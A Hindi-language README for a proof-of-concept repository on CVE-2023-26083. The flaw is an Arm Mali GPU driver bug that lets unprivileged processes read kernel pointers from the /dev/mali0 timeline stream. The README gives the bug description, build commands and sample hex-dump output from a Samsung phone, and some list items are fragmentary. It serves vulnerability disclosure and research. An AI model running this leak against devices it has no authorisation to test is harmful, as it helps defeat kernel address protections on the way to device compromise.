
CVE-2023-26083-Mali-InfoLeak-PoC
यह रिपॉज़िटरी CVE-2023-26083 के लिए एक proof-of-concept (PoC) एक्सप्लॉइट है, जो Mali GPU ड्राइवर (Arm Mali GPU Kernel Driver) में एक कमजोरी है जो एक अविशेषाधिकार प्राप्त उपयोगकर्ता को टाइमलाइन स्ट्रीम (/dev/mali0) के माध्यम से कर्नेल पॉइंटर्स और संवेदनशील आंतरिक जानकारी लीक करने की अनुमति देती है।
Mali GPU ड्राइवर प्रोफाइलिंग और डीबगिंग के लिए एक “timeline stream” (tlstream) सुविधा प्रदान करता है। यह स्ट्रीम ऐसी घटनाओं को निर्यात करती है जिनमें रॉ कर्नेल पॉइंटर्स होते हैं (जैसे, kbase_context, kbase_gpu, kbase_lpu, एड्रेस स्पेस, एटम आदि के पते)। सामान्यतः, इस स्ट्रीम तक पहुँच के लिए BASE_CONTEXT_CREATE_FLAG_MONITOR फ़्लैग की आवश्यकता होनी चाहिए। हालाँकि, KBASE_IOCTL_TLSTREAM_ACQUIRE हैंडलर में अनुपलब्ध अनुमति जाँच के कारण, कोई भी प्रक्रिया (बिना मॉनिटर फ़्लैग के भी) टाइमलाइन स्ट्रीम के लिए फ़ाइल डिस्क्रिप्टर प्राप्त कर सकती है और कर्नेल मेमोरी एड्रेस पढ़ सकती है।
प्रभाव:
/dev/mali0 मौजूद होना चाहिए)।चूँकि कोड स्व-निहित और स्टैंडअलोन है, आप इसे मानक टूल्स का उपयोग करके आसानी से क्रॉस-कंपाइल कर सकते हैं।
ARM64 डिवाइसों के लिए संकलन हेतु Android NDK टूलचेन का उपयोग करें। विभिन्न Android संस्करणों पर डायनेमिक लिंकर संगतता समस्याओं से बचने के लिए स्टैटिक लिंकिंग का उपयोग करने की अत्यधिक अनुशंसा की जाती है:
aarch64-linux-android21-clang -static -o mali_tlstream_leak mali_tlstream_leak.c
यदि आप ARM डेवलपमेंट बोर्ड (जैसे Raspberry Pi या Odroid) पर परीक्षण कर रहे हैं जिसमें Mali GPU है और जो एक मानक Linux डिस्ट्रो चलाता है:
gcc -static -o mali_tlstream_leak mali_tlstream_leak.c
./mali_tlstream_leak
प्रोग्राम निम्न कार्य करेगा:
/dev/mali0 खोलें।BASE_CONTEXT_CREATE_FLAG_NONE पर सेट करें (कोई मॉनिटर विशेषाधिकार नहीं)।*** KERNEL के साथ चिह्नित)।नोट: यह Proof-of-Concept (PoC) केवल Samsung Galaxy J7 Prime पर परीक्षण किया गया था जो Android 8.1.0 (कर्नेल 3.18) और 1 अप्रैल, 2020 के सुरक्षा पैच स्तर के साथ चल रहा था।
on7xelte:/data/local/tmp $ ./mali_tlstream_leak
Version: major=11 minor=5
SET_FLAGS ok
TLSTREAM_ACQUIRE ok, tlfd=4
Read 3805 bytes from tlstream (total=3805)
Raw hex dump (3805 bytes):
0000: 01 00 00 04 e1 0a 00 00 03 08 20 00 00 00 00 00
0010: 00 00 11 00 00 00 4b 42 41 53 45 5f 54 4c 5f 4e
0020: 45 57 5f 43 54 58 00 16 00 00 00 6f 62 6a 65 63
0030: 74 20 63 74 78 20 69 73 20 63 72 65 61 74 65 64
0040: 00 05 00 00 00 40 70 49 49 00 10 00 00 00 63 74
0050: 78 2c 63 74 78 5f 6e 72 2c 74 67 69 64 00 01 00
0060: 00 00 11 00 00 00 4b 42 41 53 45 5f 54 4c 5f 4e
0070: 45 57 5f 47 50 55 00 16 00 00 00 6f 62 6a 65 63
0080: 74 20 67 70 75 20 69 73 20 63 72 65 61 74 65 64
0090: 00 05 00 00 00 40 70 49 49 00 16 00 00 00 67 70
00a0: 75 2c 67 70 75 5f 69 64 2c 63 6f 72 65 5f 63 6f
00b0: 75 6e 74 00 02 00 00 00 11 00 00 00 4b 42 41 53
00c0: 45 5f 54 4c 5f 4e 45 57 5f 4c 50 55 00 16 00 00
00d0: 00 6f 62 6a 65 63 74 20 6c 70 75 20 69 73 20 63
00e0: 72 65 61 74 65 64 00 05 00 00 00 40 70 49 49 00
00f0: 12 00 00 00 6c 70 75 2c 6c 70 75 5f 6e 72 2c 6c
0100: 70 75 5f 66 6e 00 03 00 00 00 12 00 00 00 4b 42
0110: 41 53 45 5f 54 4c 5f 4e 45 57 5f 41 54 4f 4d 00
0120: 17 00 00 00 6f 62 6a 65 63 74 20 61 74 6f 6d 20
0130: 69 73 20 63 72 65 61 74 65 64 00 04 00 00 00 40
0140: 70 49 00 0d 00 00 00 61 74 6f 6d 2c 61 74 6f 6d
0150: 5f 6e 72 00 04 00 00 00 10 00 00 00 4b 42 41 53
0160: 45 5f 54 4c 5f 4e 45 57 5f 41 53 00 20 00 00 00
0170: 61 64 64 72 65 73 73 20 73 70 61 63 65 20 6f 62
0180: 6a 65 63 74 20 69 73 20 63 72 65 61 74 65 64 00
0190: 04 00 00 00 40 70 49 00 14 00 00 00 61 64 64 72
01a0: 65 73 73 5f 73 70 61 63 65 2c 61 73 5f 6e 72 00
01b0: 05 00 00 00 11 00 00 00 4b 42 41 53 45 5f 54 4c
01c0: 5f 44 45 4c 5f 43 54 58 00 15 00 00 00 63 6f 6e
01d0: 74 65 78 74 20 69 73 20 64 65 73 74 72 6f 79 65
01e0: 64 00 03 00 00 00 40 70 00 04 00 00 00 63 74 78
01f0: 00 06 00 00 00 12 00 00 00 4b 42 41 53 45 5f 54
Parsing packets:
Packet at offset 0: family=TL class=OBJ type=HEADER stream=1 len=2785 numbered=0